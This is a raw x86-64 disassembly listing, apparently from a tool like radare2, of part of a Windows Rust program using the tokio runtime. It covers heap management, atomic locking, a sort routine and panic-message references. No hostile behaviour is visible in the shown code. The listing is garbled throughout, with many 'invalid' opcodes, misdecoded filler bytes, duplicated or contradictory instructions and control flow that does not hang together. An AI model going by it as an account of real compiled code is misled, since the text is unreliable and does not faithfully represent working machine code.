sbb cl, bl
add eax, 0x25ba00
add byte [rax], al
call fcn.1401046f0
xchg ecx, eax
add dword [rax], eax
lea rcx, str.assertion_failed:_actual_state__EMPTY__actual_state__NOTIFIED
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_sync_notify.rs
mov edx, 0x43
add byte [rax], al
inc dword [0x1459c0104]
add byte [rbp + rcx*4 + 5], cl
mov bh, bh
add eax, 0x43ba00
add byte [rax], al
call fcn.1401046f0
int3
add ah, cl
int3
int3
sub byte [rax - 0x77], cl
invalid
lock dec qword [rax]
jne 0x1400eb53f
lea rcx, [rdi + 0x10]
call fcn.1400e47d0
xor ecx, ecx
xchg qword [rdi + 0x20], rcx
test rcx, rcx
je case.0x1400b5866.954
call fcn.1400e49c0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
invalid
je 0x1400eb575
push qword [rbp + rbx - 0x10]
dec qword [r8 + 8]
lock dec qword [r8 + 8]
jne 0x1400eb575
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rdi
pop rsi
ret
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x91d0a
shl rax, 1
test rax, rax
jne 0x1400eb648
xor eax, eax
movzx edx, byte [rcx + 1]
test dl, dl
jne 0x1400eb661
mov edx, dword [rcx + 4]
mov esi, dword [rcx + 8]
mov ebx, edx
shl ebx, 0x11
xor ebx, edx
mov edx, esi
shr edx, 0x10
xor edx, esi
xor edx, ebx
shr ebx, 7
xor ebx, edx
mov edx, esi
shl edx, 0x11
xor edx, esi
mov edi, edx
shr edi, 7
mov r8d, ebx
shr r8d, 0x10
xor edi, edx
xor edi, ebx
xor edi, r8d
mov dword [rcx + 4], ebx
mov dword [rcx + 8], edi
test al, al
jne 0x1400eb60a
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400eb693
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400eb618
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add edi, ebx
add esi, ebx
mov eax, esi
mov edx, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rsi, rcx
call fcn.14010c880
mov rcx, rsi
xor al, 1
movzx edx, byte [rcx + 1]
test dl, dl
je 0x1400eb5b8
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x30], al
lea rax, [0x14014b9e0]
mov qword [rsp + 0x20], rax
lea rcx, str.RNG_seed_generator_is_internally_corruptC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutil_rand_rt.rs
lea r9, [0x140148748]
lea r8, [rsp + 0x28]
mov edx, 0x28
call fcn.1401049b0
mov r14, rcx
call fcn.14010c880
mov rcx, r14
test al, al
jne 0x1400eb60a
mov byte [rcx + 1], 1
jmp 0x1400eb60a
call fcn.1400e49c0
mov rax, qword [rsi + 8]
mov qword [rsi + 0x10], rdi
inc rax
mov qword [rsi + 8], rax
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax]
adc byte [rcx - 1], cl
invalid
cmp qword [rsi + 8], 0
jne 0x1400ec176
adc byte [rcx - 1], cl
invalid
mov ebx, 0x4c000000
mov esi, dword [rdi]
add byte [rbx + rcx*4 + 0x37], cl
mov qword [rdi], 0
test r14, r14
je 0x1400ec0b4
invalid
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ec04c
test eax, eax
jne 0x1400ec071
mov eax, dword [0x14017d2b4]
add eax, 0x9128c
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
mov rdx, rbx
call fcn.1400d3ad0
mov byte [r13 + 0x120], 1
mov byte [rbp + 0x120], 1
mov byte [rbp + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
sbb al, 1
add byte [rax], al
invalid
je 0x1400ec071
cmp byte [rax + 0x11d], 0
je 0x1400ec0cf
pop rsi
pop rsi
cmp r12, 3
jb 0x1400ec07b
mov byte [rdi + 0x48], 0
cmp qword [rsi + 8], 0
jne 0x1400ec182
mov ecx, dword [rsi + 0x10]
test rcx, rcx
jne 0x1400ebfb0
mov rax, 0xffffffffffffffff
jmp 0x1400ebfb9
mov rax, qword [rsi]
mov rax, qword [rax + 0x10]
movzx eax, byte [rax + 0x50]
mov dh, 0x40
push rax
xor al, 1
mov byte [rdi + 0x48], al
cmp bpl, 2
jne 0x1400ec0ec
jmp 0x1400ec15d
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ec13c
sub esp, 0x20
mfence
mov rax, qword [rcx + 0xa0]
test ax, ax
jne 0x1400ec2c8
shr rax, 0x10
cmp rax, qword [rcx + 0xa8]
invalid
test al, 0
add byte [rax], al
sub dword [rax + 0xf000000], 0xfd83
add byte [rdx - 0xf3fceff], dh
cmpxchg byte [rcx + 0xb0], dl
add byte [rax], al
jae 0x1400ec2c8
add byte [rax], al
mov dl, 1
xor eax, eax
lock cmpxchg byte [rcx + 0xb0], dl
jne 0x1400ec291
add byte [rdi], cl
scasb al, byte [rdi]
mfence
mov rax, qword [rcx + 0xa0]
add byte [rax], al
invalid
add byte [rax], al
test ax, ax
jne 0x1400ec2b9
shr rax, 0x10
cmp rax, qword [rcx + 0xa8]
jae 0x1400ec2b9
lock add qword [rcx + 0xa0], 0x10001
mov rax, qword [rcx + 0xc8]
or eax, 0x48000000
test eax, eax
add byte [rax - 0x75], cl
or eax, 0x48000000
test eax, eax
je 0x1400ec27f
lea rdx, [rax - 1]
mov qword [rcx + 0xc8], rdx
mov rdx, qword [rcx + 0xc0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
je 0x1400ec1f1
mov rsi, qword [rdx + rax*8 - 8]
mov edi, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
jne 0x1400ec2d0
add byte [rax], al
invalid
test rdi, rdi
je 0x1400ec2c8
mov edx, dword [rcx + 0x50]
cmp rsi, rdx
jae 0x1400ec2f0
shl rsi, 4
add rcx, 0x108
ror dword [rax], 1
add byte [rax], al
mov rax, qword [rax + rsi + 8]
mov eax, dword [rax + rsi + 8]
mov rdx, rcx
mov rcx, rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400ec3f0
jno 0x1400ec27e
add byte [rax], al
jno 0x1400ec27e
xor edi, edi
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
je case.0x1400dc111.124
lea rax, [rcx + 0xb0]
mov rsi, rcx
mov rcx, rax
call fcn.1401076d0
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mfence
mov rax, qword [rcx + 0xa0]
test ax, ax
je case.0x1400dbd4b.139
xor edi, edi
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dil
add byte [rax], al
add byte [rbp + 8], dh
add byte [rax], al
add byte [rbp + 8], dh
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rax, [rcx + 0xb0]
mov rbx, rcx
mov rcx, rax
call fcn.140107330
mov rcx, rbx
test rdi, rdi
jne 0x1400ec24c
mov ecx, dword [rsi + 0x18]
test rcx, rcx
je 0x1400ec381
call fcn.1400e8f30
mov rdi, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je 0x1400ec3b3
nop word cs:[rax + rax]
invalid
mov rax, qword [r14 - 8]
mov rcx, qword [r14]
call qword [rax + 0x18]
add r14, 0x10
invalid
adc byte [rax - 1], cl
retf
jne 0x1400ec3a0
invalid
cmp qword [rsi + 0x28], 0
je 0x1400ec3d6
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x2302a
and eax, 0x2302a
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
xchg dword [rcx + 0x18], eax
add ecx, dword [rdi]
xchg dword [rax + 0x4c000000], ecx
lea eax, [0x140175ab8]
mov al, 1
lock cmpxchg byte [r14], r12b
jne 0x1400ed7e5
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400ed630
cmp eax, 1
je 0x1400ed65a
mov rcx, rsi
mov rdx, rbx
call fcn.1400e8050
jmp 0x1400ed6f7
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
mov rdx, rdi
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
movzx ebp, byte [r15 + 0x11c]
movzx r14d, byte [r15 + 0x11d]
mov word [r15 + 0x11c], 0x8001
mov rcx, rsi
mov rdx, rbx
call fcn.1400e8050
movzx ecx, byte [r15 + 0x120]
cmp ecx, 1
je 0x1400ed6d6
test ecx, ecx
jne 0x1400ed6f7
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r13, qword [rdx + rcx*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
mov r15d, eax
call fcn.1400d3ad0
mov eax, r15d
mov byte [r13 + 0x120], 1
mov r13b, 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bpl
mov byte [rcx + 0x11d], r14b
cmp al, 2
jne 0x1400ed7f2
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbp, qword [rax + 0x128]
test al, 0x28
add dword [rax], eax
add byte [rax - 0x7b], cl
in eax, dx
test al, 0x28
add dword [rax], eax
add byte [rax - 0x7b], cl
in eax, dx
je 0x1400ed740
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
je 0x1400ed5fd
jmp 0x1400ed762
call fcn.1400e82d0
test rax, rax
je 0x1400ee517
mov rbp, qword [rax]
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
je 0x1400ed5fd
lea r14, [rbp + 0x20]
xor eax, eax
lock cmpxchg byte [rbp + 0x20], r13b
jne 0x1400ed7b3
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbp + 0x10], rcx
jne 0x1400ed7d0
lea r15, [rbp + 0x18]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, r14
mov r9d, 0x3b9aca00
call fcn.140049940
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
jne 0x1400ed790
jmp 0x1400ed5f0
mov rcx, r14
call fcn.1401076d0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbp + 0x10], rcx
je 0x1400ed77f
nop word [rax + rax]
cmp rax, 2
jne 0x1400ee540
xor eax, eax
xchg qword [rbp + 0x10], rax
xchg dword [rbp + 0x10], eax
xchg dword [rbp + 0x10], eax
jmp 0x1400ed5f0
mov rcx, r14
call fcn.140107330
jmp 0x1400ed5fd
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x18]
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x1400ed864
movdqu xmm0, xmmword [rsp + 0xa8]
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.1400e6c20
test rax, rax
je 0x1400ed864
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call qword [rdx]
cmp qword [rdi + 8], 0
je 0x1400ed864
invalid
cmp qword [rdi + 0x10], 0x11
jb 0x1400ed852
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov rax, qword [rsp + 0x198]
lea rdx, [r8 + 1]
movdqa xmm0, xmmword [rcx]
test r8, r8
je 0x1400ed8c0
mov r9, rdx
shr r9, 0x3b
jne 0x1400ed8b5
mov r9, rdx
shl r9, 5
add eax, 0x11c08349
add eax, 0x11c08349
add r8, r9
jb 0x1400ed8b5
movabs r10, 0x7ffffffffffffff1
cmp r8, r10
jb 0x1400ee3d5
xor r11d, r11d
mov rdi, rcx
sub rdi, r9
jmp 0x1400ed8c3
xor r11d, r11d
lea rsi, [rcx + 0x10]
pmovmskb r9d, xmm0
mov r10d, r9d
not r10d
add rdx, rcx
mov qword [rsp + 0xe0], r11
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], rdx
mov word [rsp + 0x110], r10w
mov qword [rsp + 0x118], rax
test rax, rax
je 0x1400edb72
cmp r9w, 0xffff
jne 0x1400ed963
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rsi]
pmovmskb r9d, xmm0
add rcx, 0xfffffffffffffe00
add rsi, 0x10
cmp r9d, 0xffff
je 0x1400ed930
mov r10d, r9d
not r10d
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0xf8], rcx
mov edx, 0xfffffffe
sub edx, r9d
and edx, r10d
mov word [rsp + 0x110], dx
dec rax
mov qword [rsp + 0x118], rax
tzcnt edx, r10d
shl edx, 5
sub rcx, rdx
mov rdi, qword [rcx - 0x20]
mov rbx, qword [rcx - 0x18]
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmmword [rsp + 0x1b0], xmm0
test rbx, rbx
je 0x1400edb72
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
jne 0x1400ee641
mov rsi, r14
shl rsi, 5
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e0010
test rax, rax
je 0x1400ee646
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x80], r14
mov r15, rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
movdqu xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movups xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov rax, r14
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x1400edb8b
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
movzx eax, word [rsp + 0x70]
mov edx, 1
mov r9, 0xffffffffffffffff
lea rsi, [rsp + 0x80]
nop
test ax, ax
je 0x1400edab0
lea ebp, [rax - 1]
and ebp, eax
dec r14
test rdi, rdi
jne 0x1400edada
jmp 0x1400edb84
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
add rdi, 0xfffffffffffffe00
add rbx, 0x10
cmp eax, 0xffff
je 0x1400edab0
mov ecx, 0xfffffffe
sub ecx, eax
not eax
mov ebp, eax
and ebp, ecx
dec r14
tzcnt eax, eax
shl eax, 5
mov rcx, rdi
sub rcx, rax
mov r12, qword [rcx - 0x20]
mov r13, qword [rcx - 0x18]
movups xmm0, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x120], xmm0
test r13, r13
je 0x1400edb84
cmp rdx, qword [rsp + 0x80]
je 0x1400edb49
mov rax, rdx
shl rax, 5
mov rcx, r15
mov qword [r15 + rax], r12
mov qword [r15 + rax + 8], r13
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [r15 + rax + 0x10], xmm0
inc rdx
mov qword [rsp + 0x90], rdx
mov eax, ebp
test r14, r14
jne 0x1400eda90
jmp 0x1400edba7
mov r8, r14
inc r8
cmove r8, r9
mov rcx, rsi
mov r15, rdx
call fcn.14010e080
mov r9, 0xffffffffffffffff
mov rdx, r15
mov r15, qword [rsp + 0x88]
jmp 0x1400edb0e
lea rcx, [rsp + 0xe0]
call fcn.1400ee670
jmp 0x1400ee3c0
mov qword [rsp + 0x28], rdx
jmp 0x1400edbaf
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x40]
call fcn.1400ee670
mov eax, 1
mov r14, r15
jmp 0x1400edc0d
mov qword [rsp + 0x28], rdx
xor r14d, r14d
mov word [rsp + 0x70], bp
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rdi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400ee670
mov rdx, qword [rsp + 0x28]
cmp rdx, 0x15
jae 0x1400edc1c
cmp rdx, 1
jbe 0x1400ee29e
mov r8d, 1
mov rcx, r14
call fcn.1400ee780
mov rax, qword [rsp + 0x28]
shl rax, 5
add rax, r14
mov r15, rax
jmp 0x1400ee2b4
mov rax, rdx
shl rax, 4
movabs rdx, 0x7fffffffffffffe0
and rdx, rax
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ee653
mov rbx, rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ee65f
mov rbp, rax
lea rax, [r14 + 0x40]
mov qword [rsp + 0xc8], rax
lea rax, [r14 + 0x10]
mov qword [rsp + 0x138], rax
lea rax, [r14 - 0x10]
mov qword [rsp + 0x130], rax
lea rax, [r14 - 0x20]
mov qword [rsp + 0x140], rax
mov eax, 0x10
mov qword [rsp + 0xd0], rax
xor r13d, r13d
xor r12d, r12d
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
jmp 0x1400edcd7
mov r12d, 1
mov r13, qword [rsp + 0xd8]
cmp r13, rdx
jae 0x1400ee276
mov r9, rdx
sub r9, r13
mov rax, r13
shl rax, 5
lea rcx, [r14 + rax]
cmp r9, 2
jae 0x1400edd70
mov r8, r9
lea r10, [r8 + r13]
mov rsi, r10
sub rsi, r13
jb 0x1400ee5ac
cmp r10, rdx
ja 0x1400ee5ac
jae 0x1400ede50
cmp r8, 0xa
jae 0x1400ede50
lea rsi, [r13 + 0xa]
cmp rsi, rdx
cmovae rsi, rdx
cmp r13, 0xfffffffffffffff6
jae 0x1400ee5c4
cmp r8, 1
adc r8, 0
mov qword [rsp + 0xd8], rsi
sub rsi, r13
mov rdx, rsi
call fcn.1400ee780
mov rdx, qword [rsp + 0x28]
cmp r12, qword [rsp + 0xd0]
je 0x1400ede62
jmp 0x1400edebb
mov r10, qword [rcx + 0x20]
cmp r10, qword [rcx]
jae 0x1400ee220
mov esi, 2
cmp r9, 2
je 0x1400eddbf
mov rdx, qword [rsp + 0xc8]
lea r8, [rdx + rax]
nop word cs:[rax + rax]
mov r11, r10
mov r10, qword [r8]
cmp r10, r11
jae 0x1400eddba
inc rsi
add r8, 0x20
cmp r9, rsi
jne 0x1400edda0
mov rsi, r9
mov rdx, qword [rsp + 0x28]
mov r9, rsi
add r9, r13
jb 0x1400ee5f1
mov r10, r9
cmp r9, rdx
ja 0x1400ee5e2
mov r8d, 1
cmp rsi, 2
jb 0x1400edcf9
mov r8, rsi
shr r8, 1
add rax, qword [rsp + 0x138]
mov r9, r10
shl r9, 5
add r9, qword [rsp + 0x130]
nop word cs:[rax + rax]
movups xmm0, xmmword [rax - 0x10]
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rax - 0x10], xmm1
movups xmmword [r9 - 0x10], xmm0
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [r9]
movups xmmword [rax], xmm1
movdqu xmmword [r9], xmm0
add rax, 0x20
add r9, 0xffffffffffffffe0
dec r8
jne 0x1400ede10
mov r8, rsi
jmp 0x1400edcf9
mov qword [rsp + 0xd8], r10
cmp r12, qword [rsp + 0xd0]
jne 0x1400edebb
mov rdx, r12
shl rdx, 5
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ee5d6
mov rdi, rax
lea rax, [r12 + r12]
mov qword [rsp + 0xd0], rax
mov r8, r12
shl r8, 4
mov rcx, rdi
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, rdi
mov rdx, qword [rsp + 0x28]
mov rax, r12
shl rax, 4
mov qword [rbp + rax], rsi
mov qword [rbp + rax + 8], r13
inc r12
mov rax, r12
cmp r12, 2
mov qword [rsp + 0x148], rbp
jae 0x1400edf6c
jmp 0x1400edcc6
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov rbp, qword [rsp + 0x148]
mov rdi, qword [rsp + 0x150]
add rdi, rbp
add r15, rbp
sub r12, rdx
mov rcx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x158]
add rax, r13
mov qword [r15], rax
mov rax, qword [rsp + 0x160]
mov qword [r15 + 8], rax
lea rdx, [rdi + 0x10]
mov rax, qword [rsp + 0x170]
not rax
mov r8, qword [rsp + 0x178]
add r8, rax
shl r8, 4
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rsp + 0x168]
cmp rax, 1
mov rdx, qword [rsp + 0x28]
jbe 0x1400edcc0
mov r12, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [rbp + rcx]
mov rcx, qword [rbp + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x1400edfe0
mov r10, r12
shl r10, 4
mov r8, qword [r10 + rbp - 0x20]
cmp r8, rax
jbe 0x1400edfe0
cmp r12, 2
je 0x1400ee260
lea rsi, [r12 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rbp + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1400edff7
cmp r12, 3
jbe 0x1400ee26b
add r8, rcx
cmp qword [r10 + rbp - 0x40], r8
jbe 0x1400edff7
jmp 0x1400edcc6
cmp r12, 2
je 0x1400edffc
lea rsi, [r12 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rbp + rcx]
cmp rcx, rax
jb 0x1400ee001
lea rsi, [r12 - 2]
cmp r12, rsi
jbe 0x1400ee4bd
lea r15, [rsi + 1]
cmp r12, r15
jbe 0x1400ee481
mov r8, rsi
shl r8, 4
mov rcx, qword [rbp + r8 + 8]
shl r15, 4
mov rax, qword [rbp + r15]
mov rdi, qword [rbp + r15 + 8]
add rdi, rax
mov rbx, rdi
sub rbx, rcx
jb 0x1400ee4f9
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], r12
cmp rdi, rdx
ja 0x1400ee508
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x168], r11
mov qword [rsp + 0x150], r8
mov r13, qword [rbp + r8]
mov qword [rsp + 0x160], rcx
mov rsi, rcx
shl rsi, 5
add rsi, r14
mov r12, r13
shl r12, 5
lea rbp, [rsi + r12]
shl rdi, 5
mov r14, rbx
sub r14, r13
cmp r14, r13
jae 0x1400ee160
mov r12, r14
shl r12, 5
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
mov rdx, rbp
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r12, rbx
test r13, r13
jle 0x1400ee200
test r14, r14
jle 0x1400ee200
add rdi, qword [rsp + 0x140]
mov r14, qword [rsp + 0x30]
nop word cs:[rax + rax]
mov rax, rbp
mov rcx, r12
mov rdx, qword [r12 - 0x20]
mov r8, qword [rbp - 0x20]
cmp rdx, r8
mov ebp, 0
sbb rbp, rbp
cmp rdx, r8
mov r12d, 0
adc r12, 0xffffffffffffffff
shl rbp, 5
add rbp, rax
shl r12, 5
add r12, rcx
cmp rdx, r8
mov rax, r12
cmovb rax, rbp
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
cmp rbp, rsi
jbe 0x1400ee14d
add rdi, 0xffffffffffffffe0
cmp r12, rbx
ja 0x1400ee0f0
mov rsi, rbp
jmp 0x1400edeee
mov r14, qword [rsp + 0x38]
mov rcx, r14
mov rdx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r12, r14
test r13, r13
jle 0x1400ee205
cmp rbx, r13
mov r14, qword [rsp + 0x30]
jle 0x1400edee9
add rdi, r14
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
nop dword [rax + rax]
mov r8, rdx
mov rcx, qword [rbp]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, rbp
movdqu xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x20
shl edx, 5
add rdx, r8
cmp rdx, r12
jae 0x1400edef1
mov al, cl
shl eax, 5
add rbp, rax
cmp rbp, rdi
jb 0x1400ee1a0
jmp 0x1400edef1
mov rsi, rbp
jmp 0x1400ee20a
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov r14, qword [rsp + 0x30]
jmp 0x1400edef1
mov r8d, 2
cmp r9, 2
je 0x1400edcf5
add rax, qword [rsp + 0xc8]
nop dword [rax + rax]
mov r11, r10
mov r10, qword [rax]
cmp r10, r11
jb 0x1400edcf5
inc r8
add rax, 0x20
cmp r9, r8
jne 0x1400ee240
jmp 0x1400edcf2
mov r12d, 2
jmp 0x1400edcc6
mov r12d, 3
jmp 0x1400edcc6
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbp
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call rsi
mov rdx, qword [rsp + 0x28]
mov r15, rdx
shl r15, 5
add r15, r14
mov rsi, r14
test rdx, rdx
je 0x1400ee344
lea r12, [rsp + 0x48]
lea rdi, [rsp + 0x40]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, r14
jmp 0x1400ee2ef
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call r13
add rsi, 0x20
cmp rsi, r15
mov r14, rbp
je 0x1400ee3a3
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400ee340
mov rbp, r14
movdqu xmm0, xmmword [rsi + 0x10]
movdqa xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x40], rax
movdqu xmmword [r12], xmm0
mov rcx, rdi
call fcn.1400e6c20
test rax, rax
je 0x1400ee2df
mov rbx, rax
mov r14, rdx
mov rcx, rax
call qword [rdx]
cmp qword [r14 + 8], 0
je 0x1400ee2df
cmp qword [r14 + 0x10], 0x11
jb 0x1400ee2d0
mov rbx, qword [rbx - 8]
jmp 0x1400ee2d0
add rsi, 0x20
sub r15, rsi
je 0x1400ee3a3
shr r15, 5
add rsi, 0x10
mov rdi, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400ee369
add rsi, 0x20
dec r15
je 0x1400ee3a3
mov rcx, qword [rsi + 8]
call rdi
mov rax, qword [rsi - 8]
lock dec qword [rax]
jne 0x1400ee390
mov rcx, qword [rsi - 8]
call fcn.140048f00
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400ee360
jmp 0x1400ee399
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400ee360
mov rcx, rsi
call fcn.1400e4f50
jmp 0x1400ee360
cmp qword [rsp + 0xc0], 0
je 0x1400ee3c0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r11d, 0x10
jmp 0x1400ed8b8
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x50], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x1401485a8]
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x50], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x140148590]
lea rcx, [rsp + 0x40]
call fcn.140104620
lea r8, [0x1401485c0]
mov rdx, rdi
call fcn.1401048e0
lea r8, [0x1401485c0]
mov rcx, rdi
call fcn.1401046e0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
